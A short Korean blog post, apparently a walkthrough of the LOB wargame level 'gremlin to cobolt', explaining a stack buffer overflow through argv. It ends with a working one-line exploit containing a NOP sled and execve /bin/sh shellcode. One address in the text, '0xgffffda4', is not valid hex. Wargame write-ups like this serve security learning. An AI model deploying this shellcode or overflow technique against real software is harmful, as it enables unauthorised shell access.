튜기's blogggg

LOB gremlin->cobolt

by St1tch




코드를 보면 1번 문제와 거의 비슷한데 argv의 갯수 제한이 없고 버퍼의 크기가 작다.

따라서 argv를 이용해서 쉘을 따면 된다.




gdb로 보면 dummy가 없고 평범하게 되있다.

스택 구조를 보면 이런식으로 된다.



argv[1]에는 ret를 argv[2]로 덮어줄 값을 입력하고 

argv[2]에는 쉘코드를 넣어 주면 된다.





적당한 곳에 브레이크를 걸어 놓고 첫번째 인자로 nop을 24개 입력해서 ret까지 덮어 보고,

두번째 인자의 주소를 알기위해 임시로 A를 30개 입력했다.


ebp+12에 **argv가 있기 때문에 0xbffffc74의 값을 12바이트 보면

첫 4바이트는 argv[0]의 주소, 그다음 4바이트는 argv[1]의 주소, 그다음 4바이트는 argv[2]의 주소 이런식으로 된다.

argv[2]의 주소는 0xgffffda4이고 안에 값을 보면 A가 들어가 있는 것을 볼 수 있다.


이제 주소를 알았으니 exploit을 작성해야 하는데,

argv[2]의 주소가 조금씩 바뀌기 때문에 argv[2]의 앞에 nop을 많이 넣어 nop sled를 태워서 쉘코드가 동작하도록 하면된다.

ret주소는 적당히 argv[2]에서 조금 떨어진 곳에 해주면 된다.


expolit code

./cobolt `python -c 'print "\x90" * 20 + "\x90\xfd\xff\xbf"'` `python -c 'print "\x90"*150 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'







블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기